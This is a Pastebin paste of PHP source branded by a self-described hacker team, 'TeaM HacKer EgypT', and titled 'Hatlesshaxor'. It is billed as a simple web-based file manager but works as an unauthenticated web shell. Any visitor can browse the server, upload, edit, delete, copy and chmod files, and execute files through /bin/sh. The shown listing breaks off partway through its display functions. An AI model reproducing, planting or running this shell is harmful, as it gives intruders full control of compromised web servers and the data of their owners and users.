ERRORTOXIC

00

Nov 8th, 2016
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 65.82 KB | None | 0 0
  1. <?php
  2. /*
  3. * TeaM HacKer EgypT - a simple Web-based file manager
  4. * Copyright (C) 2004 TeaM HacKer EgypT <I0X0@HOTMAIL.COM>
  5. *
  6. *
  7. /* ------------------------------------------------------------------------- */
  8.  
  9. /* Your language:
  10. * 'en' - English
  11. * 'de' - German
  12. * 'fr' - French
  13. * 'it' - Italian
  14. * 'nl' - Dutch
  15. * 'se' - Swedish
  16. * 'sp' - Spanish
  17. * 'dk' - Danish
  18. * 'tr' - Turkish
  19. * 'cs' - Czech
  20. * 'auto' - autoselect
  21. */
  22. $lang = 'auto';
  23.  
  24. /* Charset of output:
  25. * possible values are described in the charset table at
  26. * http://www.php.net/manual/en/function.htmlentities.php
  27. * 'auto' - use the same charset as the words of my language are encoded
  28. */
  29. $site_charset = 'auto';
  30.  
  31. /* Homedir:
  32. * For example: './' - the script's directory
  33. */
  34. $homedir = './';
  35.  
  36. /* Size of the edit textarea
  37. */
  38. $editcols = 80;
  39. $editrows = 25;
  40.  
  41. /* -------------------------------------------
  42. * Optional configuration (remove # to enable)
  43. */
  44.  
  45. /* Permission of created directories:
  46. * For example: 0705 would be 'drwx---r-x'.
  47. */
  48. # $dirpermission = 0705;
  49.  
  50. /* Permission of created files:
  51. * For example: 0604 would be '-rw----r--'.
  52. */
  53. # $filepermission = 0604;
  54.  
  55. /* Filenames related to the apache web server:
  56. */
  57. $htaccess = '.htaccess';
  58. $htpasswd = '.htpasswd';
  59.  
  60. /* ------------------------------------------------------------------------- */
  61.  
  62. if (get_magic_quotes_gpc()) {
  63. array_walk($_GET, 'strip');
  64. array_walk($_POST, 'strip');
  65. array_walk($_REQUEST, 'strip');
  66. }
  67.  
  68. if (array_key_exists('image', $_GET)) {
  69. header('Content-Type: image/gif');
  70. die(getimage($_GET['image']));
  71. }
  72.  
  73. if (!function_exists('lstat')) {
  74. function lstat ($filename) {
  75. return stat($filename);
  76. }
  77. }
  78.  
  79. $delim = DIRECTORY_SEPARATOR;
  80.  
  81. if (function_exists('php_uname')) {
  82. $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
  83. } else {
  84. $win = ($delim == '\\') ? true : false;
  85. }
  86.  
  87. if (!empty($_SERVER['PATH_TRANSLATED'])) {
  88. $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
  89. } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
  90. $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
  91. } elseif (function_exists('getcwd')) {
  92. $scriptdir = getcwd();
  93. } else {
  94. $scriptdir = '.';
  95. }
  96. $homedir = relative2absolute($homedir, $scriptdir);
  97.  
  98. $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
  99.  
  100. if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
  101. $dir = relative2absolute($dir, $_POST['olddir']);
  102. }
  103.  
  104. $directory = simplify_path(addslash($dir));
  105.  
  106. $files = array();
  107. $action = '';
  108. if (!empty($_POST['submit_all'])) {
  109. $action = $_POST['action_all'];
  110. for ($i = 0; $i < $_POST['num']; $i++) {
  111. if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
  112. $files[] = $_POST["file$i"];
  113. }
  114. }
  115. } elseif (!empty($_REQUEST['action'])) {
  116. $action = $_REQUEST['action'];
  117. $files[] = relative2absolute($_REQUEST['file'], $directory);
  118. } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
  119. $files[] = $_FILES['upload'];
  120. $action = 'upload';
  121. } elseif (array_key_exists('num', $_POST)) {
  122. for ($i = 0; $i < $_POST['num']; $i++) {
  123. if (array_key_exists("submit$i", $_POST)) break;
  124. }
  125. if ($i < $_POST['num']) {
  126. $action = $_POST["action$i"];
  127. $files[] = $_POST["file$i"];
  128. }
  129. }
  130. if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
  131. $files[] = relative2absolute($_POST['create_name'], $directory);
  132. switch ($_POST['create_type']) {
  133. case 'directory':
  134. $action = 'create_directory';
  135. break;
  136. case 'file':
  137. $action = 'create_file';
  138. }
  139. }
  140. if (sizeof($files) == 0) $action = ''; else $file = reset($files);
  141.  
  142. if ($lang == 'auto') {
  143. if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
  144. $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
  145. } else {
  146. $lang = 'en';
  147. }
  148. }
  149.  
  150. $words = getwords($lang);
  151.  
  152. if ($site_charset == 'auto') {
  153. $site_charset = $word_charset;
  154. }
  155.  
  156. $cols = ($win) ? 4 : 7;
  157.  
  158. if (!isset($dirpermission)) {
  159. $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
  160. }
  161. if (!isset($filepermission)) {
  162. $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
  163. }
  164.  
  165. if (!empty($_SERVER['SCRIPT_NAME'])) {
  166. $self = html(basename($_SERVER['SCRIPT_NAME']));
  167. } elseif (!empty($_SERVER['PHP_SELF'])) {
  168. $self = html(basename($_SERVER['PHP_SELF']));
  169. } else {
  170. $self = '';
  171. }
  172.  
  173. if (!empty($_SERVER['SERVER_SOFTWARE'])) {
  174. if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
  175. $apache = true;
  176. } else {
  177. $apache = false;
  178. }
  179. } else {
  180. $apache = true;
  181. }
  182.  
  183. switch ($action) {
  184.  
  185. case 'view':
  186.  
  187. if (is_script($file)) {
  188.  
  189. /* highlight_file is a mess! */
  190. ob_start();
  191. highlight_file($file);
  192. $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
  193. $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
  194. ob_end_clean();
  195.  
  196. html_header();
  197. echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
  198.  
  199. <hr />
  200.  
  201. <table>
  202. <tr>
  203. <td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
  204. <pre style="margin-top: 0"><code>';
  205.  
  206. for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
  207.  
  208. echo '</code></pre>
  209. </td>
  210. <td style="text-align: left; vertical-align: top; padding-left: 3pt">
  211. <pre style="margin-top: 0">' . $src . '</pre>
  212. </td>
  213. </tr>
  214. </table>
  215.  
  216. ';
  217.  
  218. html_footer();
  219.  
  220. } else {
  221.  
  222. header('Content-Type: ' . getmimetype($file));
  223. header('Content-Disposition: filename=' . basename($file));
  224.  
  225. readfile($file);
  226.  
  227. }
  228.  
  229. break;
  230.  
  231. case 'download':
  232.  
  233. header('Pragma: public');
  234. header('Expires: 0');
  235. header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  236. header('Content-Type: ' . getmimetype($file));
  237. header('Content-Disposition: attachment; filename=' . basename($file) . ';');
  238. header('Content-Length: ' . filesize($file));
  239.  
  240. readfile($file);
  241.  
  242. break;
  243.  
  244. case 'upload':
  245.  
  246. $dest = relative2absolute($file['name'], $directory);
  247.  
  248. if (@file_exists($dest)) {
  249. listing_page(error('already_exists', $dest));
  250. } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
  251. @chmod($dest, $filepermission);
  252. listing_page(notice('uploaded', $file['name']));
  253. } else {
  254. listing_page(error('not_uploaded', $file['name']));
  255. }
  256.  
  257. break;
  258.  
  259. case 'create_directory':
  260.  
  261. if (@file_exists($file)) {
  262. listing_page(error('already_exists', $file));
  263. } else {
  264. $old = @umask(0777 & ~$dirpermission);
  265. if (@mkdir($file, $dirpermission)) {
  266. listing_page(notice('created', $file));
  267. } else {
  268. listing_page(error('not_created', $file));
  269. }
  270. @umask($old);
  271. }
  272.  
  273. break;
  274.  
  275. case 'create_file':
  276.  
  277. if (@file_exists($file)) {
  278. listing_page(error('already_exists', $file));
  279. } else {
  280. $old = @umask(0777 & ~$filepermission);
  281. if (@touch($file)) {
  282. edit($file);
  283. } else {
  284. listing_page(error('not_created', $file));
  285. }
  286. @umask($old);
  287. }
  288.  
  289. break;
  290.  
  291. case 'execute':
  292.  
  293. chdir(dirname($file));
  294.  
  295. $output = array();
  296. $retval = 0;
  297. exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
  298.  
  299. $error = ($retval == 0) ? false : true;
  300.  
  301. if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
  302.  
  303. if ($error) {
  304. listing_page(error('not_executed', $file, implode("\n", $output)));
  305. } else {
  306. listing_page(notice('executed', $file, implode("\n", $output)));
  307. }
  308.  
  309. break;
  310.  
  311. case 'delete':
  312.  
  313. if (!empty($_POST['no'])) {
  314. listing_page();
  315. } elseif (!empty($_POST['yes'])) {
  316.  
  317. $failure = array();
  318. $success = array();
  319.  
  320. foreach ($files as $file) {
  321. if (del($file)) {
  322. $success[] = $file;
  323. } else {
  324. $failure[] = $file;
  325. }
  326. }
  327.  
  328. $message = '';
  329. if (sizeof($failure) > 0) {
  330. $message = error('not_deleted', implode("\n", $failure));
  331. }
  332. if (sizeof($success) > 0) {
  333. $message .= notice('deleted', implode("\n", $success));
  334. }
  335.  
  336. listing_page($message);
  337.  
  338. } else {
  339.  
  340. html_header();
  341.  
  342. echo '<form action="' . $self . '" method="post">
  343. <table class="dialog">
  344. <tr>
  345. <td class="dialog">
  346. ';
  347.  
  348. request_dump();
  349.  
  350. echo "\t<b>" . word('really_delete') . '</b>
  351. <p>
  352. ';
  353.  
  354. foreach ($files as $file) {
  355. echo "\t" . html($file) . "<br />\n";
  356. }
  357.  
  358. echo ' </p>
  359. <hr />
  360. <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
  361. <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
  362. </td>
  363. </tr>
  364. </table>
  365. </form>
  366.  
  367. ';
  368.  
  369. html_footer();
  370.  
  371. }
  372.  
  373. break;
  374.  
  375. case 'rename':
  376.  
  377. if (!empty($_POST['destination'])) {
  378.  
  379. $dest = relative2absolute($_POST['destination'], $directory);
  380.  
  381. if (!@file_exists($dest) && @rename($file, $dest)) {
  382. listing_page(notice('renamed', $file, $dest));
  383. } else {
  384. listing_page(error('not_renamed', $file, $dest));
  385. }
  386.  
  387. } else {
  388.  
  389. $name = basename($file);
  390.  
  391. html_header();
  392.  
  393. echo '<form action="' . $self . '" method="post">
  394.  
  395. <table class="dialog">
  396. <tr>
  397. <td class="dialog">
  398. <input type="hidden" name="action" value="rename" />
  399. <input type="hidden" name="file" value="' . html($file) . '" />
  400. <input type="hidden" name="dir" value="' . html($directory) . '" />
  401. <b>' . word('rename_file') . '</b>
  402. <p>' . html($file) . '</p>
  403. <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
  404. <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
  405. <hr />
  406. <input type="submit" value="' . word('rename') . '" />
  407. </td>
  408. </tr>
  409. </table>
  410.  
  411. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  412.  
  413. </form>
  414.  
  415. ';
  416.  
  417. html_footer();
  418.  
  419. }
  420.  
  421. break;
  422.  
  423. case 'move':
  424.  
  425. if (!empty($_POST['destination'])) {
  426.  
  427. $dest = relative2absolute($_POST['destination'], $directory);
  428.  
  429. $failure = array();
  430. $success = array();
  431.  
  432. foreach ($files as $file) {
  433. $filename = substr($file, strlen($directory));
  434. $d = $dest . $filename;
  435. if (!@file_exists($d) && @rename($file, $d)) {
  436. $success[] = $file;
  437. } else {
  438. $failure[] = $file;
  439. }
  440. }
  441.  
  442. $message = '';
  443. if (sizeof($failure) > 0) {
  444. $message = error('not_moved', implode("\n", $failure), $dest);
  445. }
  446. if (sizeof($success) > 0) {
  447. $message .= notice('moved', implode("\n", $success), $dest);
  448. }
  449.  
  450. listing_page($message);
  451.  
  452. } else {
  453.  
  454. html_header();
  455.  
  456. echo '<form action="' . $self . '" method="post">
  457.  
  458. <table class="dialog">
  459. <tr>
  460. <td class="dialog">
  461. ';
  462.  
  463. request_dump();
  464.  
  465. echo "\t<b>" . word('move_files') . '</b>
  466. <p>
  467. ';
  468.  
  469. foreach ($files as $file) {
  470. echo "\t" . html($file) . "<br />\n";
  471. }
  472.  
  473. echo ' </p>
  474. <hr />
  475. ' . word('destination') . ':
  476. <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  477. <input type="submit" value="' . word('move') . '" />
  478. </td>
  479. </tr>
  480. </table>
  481.  
  482. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  483.  
  484. </form>
  485.  
  486. ';
  487.  
  488. html_footer();
  489.  
  490. }
  491.  
  492. break;
  493.  
  494. case 'copy':
  495.  
  496. if (!empty($_POST['destination'])) {
  497.  
  498. $dest = relative2absolute($_POST['destination'], $directory);
  499.  
  500. if (@is_dir($dest)) {
  501.  
  502. $failure = array();
  503. $success = array();
  504.  
  505. foreach ($files as $file) {
  506. $filename = substr($file, strlen($directory));
  507. $d = addslash($dest) . $filename;
  508. if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
  509. $success[] = $file;
  510. } else {
  511. $failure[] = $file;
  512. }
  513. }
  514.  
  515. $message = '';
  516. if (sizeof($failure) > 0) {
  517. $message = error('not_copied', implode("\n", $failure), $dest);
  518. }
  519. if (sizeof($success) > 0) {
  520. $message .= notice('copied', implode("\n", $success), $dest);
  521. }
  522.  
  523. listing_page($message);
  524.  
  525. } else {
  526.  
  527. if (!@file_exists($dest) && @copy($file, $dest)) {
  528. listing_page(notice('copied', $file, $dest));
  529. } else {
  530. listing_page(error('not_copied', $file, $dest));
  531. }
  532.  
  533. }
  534.  
  535. } else {
  536.  
  537. html_header();
  538.  
  539. echo '<form action="' . $self . '" method="post">
  540.  
  541. <table class="dialog">
  542. <tr>
  543. <td class="dialog">
  544. ';
  545.  
  546. request_dump();
  547.  
  548. echo "\n<b>" . word('copy_files') . '</b>
  549. <p>
  550. ';
  551.  
  552. foreach ($files as $file) {
  553. echo "\t" . html($file) . "<br />\n";
  554. }
  555.  
  556. echo ' </p>
  557. <hr />
  558. ' . word('destination') . ':
  559. <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  560. <input type="submit" value="' . word('copy') . '" />
  561. </td>
  562. </tr>
  563. </table>
  564.  
  565. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  566.  
  567. </form>
  568.  
  569. ';
  570.  
  571. html_footer();
  572.  
  573. }
  574.  
  575. break;
  576.  
  577. case 'create_symlink':
  578.  
  579. if (!empty($_POST['destination'])) {
  580.  
  581. $dest = relative2absolute($_POST['destination'], $directory);
  582.  
  583. if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
  584.  
  585. if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
  586.  
  587. if (!@file_exists($dest) && @symlink($file, $dest)) {
  588. listing_page(notice('symlinked', $file, $dest));
  589. } else {
  590. listing_page(error('not_symlinked', $file, $dest));
  591. }
  592.  
  593. } else {
  594.  
  595. html_header();
  596.  
  597. echo '<form action="' . $self . '" method="post">
  598.  
  599. <table class="dialog" id="symlink">
  600. <tr>
  601. <td style="vertical-align: top">' . word('destination') . ': </td>
  602. <td>
  603. <b>' . html($file) . '</b><br />
  604. <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
  605. <label for="checkbox_relative">' . word('relative') . '</label>
  606. <input type="hidden" name="action" value="create_symlink" />
  607. <input type="hidden" name="file" value="' . html($file) . '" />
  608. <input type="hidden" name="dir" value="' . html($directory) . '" />
  609. </td>
  610. </tr>
  611. <tr>
  612. <td>' . word('symlink') . ': </td>
  613. <td>
  614. <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  615. <input type="submit" value="' . word('create_symlink') . '" />
  616. </td>
  617. </tr>
  618. </table>
  619.  
  620. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  621.  
  622. </form>
  623.  
  624. ';
  625.  
  626. html_footer();
  627.  
  628. }
  629.  
  630. break;
  631.  
  632. case 'edit':
  633.  
  634. if (!empty($_POST['save'])) {
  635.  
  636. $content = str_replace("\r\n", "\n", $_POST['content']);
  637.  
  638. if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
  639. listing_page(notice('saved', $file));
  640. } else {
  641. listing_page(error('not_saved', $file));
  642. }
  643.  
  644. } else {
  645.  
  646. if (@is_readable($file) && @is_writable($file)) {
  647. edit($file);
  648. } else {
  649. listing_page(error('not_edited', $file));
  650. }
  651.  
  652. }
  653.  
  654. break;
  655.  
  656. case 'permission':
  657.  
  658. if (!empty($_POST['set'])) {
  659.  
  660. $mode = 0;
  661. if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
  662. if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
  663. if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
  664.  
  665. if (@chmod($file, $mode)) {
  666. listing_page(notice('permission_set', $file, decoct($mode)));
  667. } else {
  668. listing_page(error('permission_not_set', $file, decoct($mode)));
  669. }
  670.  
  671. } else {
  672.  
  673. html_header();
  674.  
  675. $mode = fileperms($file);
  676.  
  677. echo '<form action="' . $self . '" method="post">
  678.  
  679. <table class="dialog">
  680. <tr>
  681. <td class="dialog">
  682.  
  683. <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
  684.  
  685. <hr />
  686.  
  687. <table id="permission">
  688. <tr>
  689. <td></td>
  690. <td style="border-right: 1px solid black">' . word('owner') . '</td>
  691. <td style="border-right: 1px solid black">' . word('group') . '</td>
  692. <td>' . word('other') . '</td>
  693. </tr>
  694. <tr>
  695. <td style="text-align: right">' . word('read') . ':</td>
  696. <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
  697. <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
  698. <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
  699. </tr>
  700. <tr>
  701. <td style="text-align: right">' . word('write') . ':</td>
  702. <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
  703. <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
  704. <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
  705. </tr>
  706. <tr>
  707. <td style="text-align: right">' . word('execute') . ':</td>
  708. <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
  709. <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
  710. <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
  711. </tr>
  712. </table>
  713.  
  714. <hr />
  715.  
  716. <input type="submit" name="set" value="' . word('set') . '" />
  717.  
  718. <input type="hidden" name="action" value="permission" />
  719. <input type="hidden" name="file" value="' . html($file) . '" />
  720. <input type="hidden" name="dir" value="' . html($directory) . '" />
  721.  
  722. </td>
  723. </tr>
  724. </table>
  725.  
  726. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  727.  
  728. </form>
  729.  
  730. ';
  731.  
  732. html_footer();
  733.  
  734. }
  735.  
  736. break;
  737.  
  738. default:
  739.  
  740. listing_page();
  741.  
  742. }
  743.  
  744. /* ------------------------------------------------------------------------- */
  745.  
  746. function getlist ($directory) {
  747. global $delim, $win;
  748.  
  749. if ($d = @opendir($directory)) {
  750.  
  751. while (($filename = @readdir($d)) !== false) {
  752.  
  753. $path = $directory . $filename;
  754.  
  755. if ($stat = @lstat($path)) {
  756.  
  757. $file = array(
  758. 'filename' => $filename,
  759. 'path' => $path,
  760. 'is_file' => @is_file($path),
  761. 'is_dir' => @is_dir($path),
  762. 'is_link' => @is_link($path),
  763. 'is_readable' => @is_readable($path),
  764. 'is_writable' => @is_writable($path),
  765. 'size' => $stat['size'],
  766. 'permission' => $stat['mode'],
  767. 'owner' => $stat['uid'],
  768. 'group' => $stat['gid'],
  769. 'mtime' => @filemtime($path),
  770. 'atime' => @fileatime($path),
  771. 'ctime' => @filectime($path)
  772. );
  773.  
  774. if ($file['is_dir']) {
  775. $file['is_executable'] = @file_exists($path . $delim . '.');
  776. } else {
  777. if (!$win) {
  778. $file['is_executable'] = @is_executable($path);
  779. } else {
  780. $file['is_executable'] = true;
  781. }
  782. }
  783.  
  784. if ($file['is_link']) $file['target'] = @readlink($path);
  785.  
  786. if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
  787. if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
  788.  
  789. $files[] = $file;
  790.  
  791. }
  792.  
  793. }
  794.  
  795. return $files;
  796.  
  797. } else {
  798. return false;
  799. }
  800.  
  801. }
  802.  
  803. function sortlist (&$list, $key, $reverse) {
  804.  
  805. quicksort($list, 0, sizeof($list) - 1, $key);
  806.  
  807. if ($reverse) $list = array_reverse($list);
  808.  
  809. }
  810.  
  811. function quicksort (&$array, $first, $last, $key) {
  812.  
  813. if ($first < $last) {
  814.  
  815. $cmp = $array[floor(($first + $last) / 2)][$key];
  816.  
  817. $l = $first;
  818. $r = $last;
  819.  
  820. while ($l <= $r) {
  821.  
  822. while ($array[$l][$key] < $cmp) $l++;
  823. while ($array[$r][$key] > $cmp) $r--;
  824.  
  825. if ($l <= $r) {
  826.  
  827. $tmp = $array[$l];
  828. $array[$l] = $array[$r];
  829. $array[$r] = $tmp;
  830.  
  831. $l++;
  832. $r--;
  833.  
  834. }
  835.  
  836. }
  837.  
  838. quicksort($array, $first, $r, $key);
  839. quicksort($array, $l, $last, $key);
  840.  
  841. }
  842.  
  843. }
  844.  
  845. function permission_octal2string ($mode) {
  846.  
  847. if (($mode & 0xC000) === 0xC000) {
  848. $type = 's';
  849. } elseif (($mode & 0xA000) === 0xA000) {
  850. $type = 'l';
  851. } elseif (($mode & 0x8000) === 0x8000) {
  852. $type = '-';
  853. } elseif (($mode & 0x6000) === 0x6000) {
  854. $type = 'b';
  855. } elseif (($mode & 0x4000) === 0x4000) {
  856. $type = 'd';
  857. } elseif (($mode & 0x2000) === 0x2000) {
  858. $type = 'c';
  859. } elseif (($mode & 0x1000) === 0x1000) {
  860. $type = 'p';
  861. } else {
  862. $type = '?';
  863. }
  864.  
  865. $owner = ($mode & 00400) ? 'r' : '-';
  866. $owner .= ($mode & 00200) ? 'w' : '-';
  867. if ($mode & 0x800) {
  868. $owner .= ($mode & 00100) ? 's' : 'S';
  869. } else {
  870. $owner .= ($mode & 00100) ? 'x' : '-';
  871. }
  872.  
  873. $group = ($mode & 00040) ? 'r' : '-';
  874. $group .= ($mode & 00020) ? 'w' : '-';
  875. if ($mode & 0x400) {
  876. $group .= ($mode & 00010) ? 's' : 'S';
  877. } else {
  878. $group .= ($mode & 00010) ? 'x' : '-';
  879. }
  880.  
  881. $other = ($mode & 00004) ? 'r' : '-';
  882. $other .= ($mode & 00002) ? 'w' : '-';
  883. if ($mode & 0x200) {
  884. $other .= ($mode & 00001) ? 't' : 'T';
  885. } else {
  886. $other .= ($mode & 00001) ? 'x' : '-';
  887. }
  888.  
  889. return $type . $owner . $group . $other;
  890.  
  891. }
  892.  
  893. function is_script ($filename) {
  894. return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
  895. }
  896.  
  897. function getmimetype ($filename) {
  898. static $mimes = array(
  899. '\.jpg$|\.jpeg$' => 'image/jpeg',
  900. '\.gif$' => 'image/gif',
  901. '\.png$' => 'image/png',
  902. '\.html$|\.html$' => 'text/html',
  903. '\.txt$|\.asc$' => 'text/plain',
  904. '\.xml$|\.xsl$' => 'application/xml',
  905. '\.pdf$' => 'application/pdf'
  906. );
  907.  
  908. foreach ($mimes as $regex => $mime) {
  909. if (eregi($regex, $filename)) return $mime;
  910. }
  911.  
  912. // return 'application/octet-stream';
  913. return 'text/plain';
  914.  
  915. }
  916.  
  917. function del ($file) {
  918. global $delim;
  919.  
  920. if (!@is_link($file) && !file_exists($file)) return false;
  921.  
  922. if (!@is_link($file) && @is_dir($file)) {
  923.  
  924. if ($dir = @opendir($file)) {
  925.  
  926. $error = false;
  927.  
  928. while (($f = readdir($dir)) !== false) {
  929. if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
  930. $error = true;
  931. }
  932. }
  933. closedir($dir);
  934.  
  935. if (!$error) return @rmdir($file);
  936.  
  937. return !$error;
  938.  
  939. } else {
  940. return false;
  941. }
  942.  
  943. } else {
  944. return @unlink($file);
  945. }
  946.  
  947. }
  948.  
  949. function addslash ($directory) {
  950. global $delim;
  951.  
  952. if (substr($directory, -1, 1) != $delim) {
  953. return $directory . $delim;
  954. } else {
  955. return $directory;
  956. }
  957.  
  958. }
  959.  
  960. function relative2absolute ($string, $directory) {
  961.  
  962. if (path_is_relative($string)) {
  963. return simplify_path(addslash($directory) . $string);
  964. } else {
  965. return simplify_path($string);
  966. }
  967.  
  968. }
  969.  
  970. function path_is_relative ($path) {
  971. global $win;
  972.  
  973. if ($win) {
  974. return (substr($path, 1, 1) != ':');
  975. } else {
  976. return (substr($path, 0, 1) != '/');
  977. }
  978.  
  979. }
  980.  
  981. function absolute2relative ($directory, $target) {
  982. global $delim;
  983.  
  984. $path = '';
  985. while ($directory != $target) {
  986. if ($directory == substr($target, 0, strlen($directory))) {
  987. $path .= substr($target, strlen($directory));
  988. break;
  989. } else {
  990. $path .= '..' . $delim;
  991. $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
  992. }
  993. }
  994. if ($path == '') $path = '.';
  995.  
  996. return $path;
  997.  
  998. }
  999.  
  1000. function simplify_path ($path) {
  1001. global $delim;
  1002.  
  1003. if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
  1004. $path = realpath($path);
  1005. if (@is_dir($path)) {
  1006. return addslash($path);
  1007. } else {
  1008. return $path;
  1009. }
  1010. }
  1011.  
  1012. $pattern = $delim . '.' . $delim;
  1013.  
  1014. if (@is_dir($path)) {
  1015. $path = addslash($path);
  1016. }
  1017.  
  1018. while (strpos($path, $pattern) !== false) {
  1019. $path = str_replace($pattern, $delim, $path);
  1020. }
  1021.  
  1022. $e = addslashes($delim);
  1023. $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
  1024.  
  1025. while (ereg($regex, $path)) {
  1026. $path = ereg_replace($regex, $delim, $path);
  1027. }
  1028.  
  1029. return $path;
  1030.  
  1031. }
  1032.  
  1033. function human_filesize ($filesize) {
  1034.  
  1035. $suffices = 'kMGTPE';
  1036.  
  1037. $n = 0;
  1038. while ($filesize >= 1000) {
  1039. $filesize /= 1024;
  1040. $n++;
  1041. }
  1042.  
  1043. $filesize = round($filesize, 3 - strpos($filesize, '.'));
  1044.  
  1045. if (strpos($filesize, '.') !== false) {
  1046. while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
  1047. $filesize = substr($filesize, 0, strlen($filesize) - 1);
  1048. }
  1049. }
  1050.  
  1051. $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
  1052.  
  1053. return $filesize . " {$suffix}B";
  1054.  
  1055. }
  1056.  
  1057. function strip (&$str) {
  1058. $str = stripslashes($str);
  1059. }
  1060.  
  1061. /* ------------------------------------------------------------------------- */
  1062.  
  1063. function listing_page ($message = null) {
  1064. global $self, $directory, $sort, $reverse;
  1065.  
  1066. html_header();
  1067.  
  1068. $list = getlist($directory);
  1069.  
  1070. if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
  1071. if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
  1072.  
  1073. sortlist($list, $sort, $reverse);
  1074.  
  1075. echo '<h1 style="margin-bottom: 0">Hatlesshaxor</h1>
  1076.  
  1077. <form enctype="multipart/form-data" action="' . $self . '" method="post">
  1078.  
  1079. <table id="main">
  1080. ';
  1081.  
  1082. directory_choice();
  1083.  
  1084. if (!empty($message)) {
  1085. spacer();
  1086. echo $message;
  1087. }
  1088.  
  1089. if (@is_writable($directory)) {
  1090. upload_box();
  1091. create_box();
  1092. } else {
  1093. spacer();
  1094. }
  1095.  
  1096. if ($list) {
  1097. listing($list);
  1098. } else {
  1099. echo error('not_readable', $directory);
  1100. }
  1101.  
  1102. echo '</table>
  1103.  
  1104. </form>
  1105.  
  1106. ';
  1107.  
  1108. html_footer();
  1109.  
  1110. }
  1111.  
  1112. function listing ($list) {
  1113. global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
  1114.  
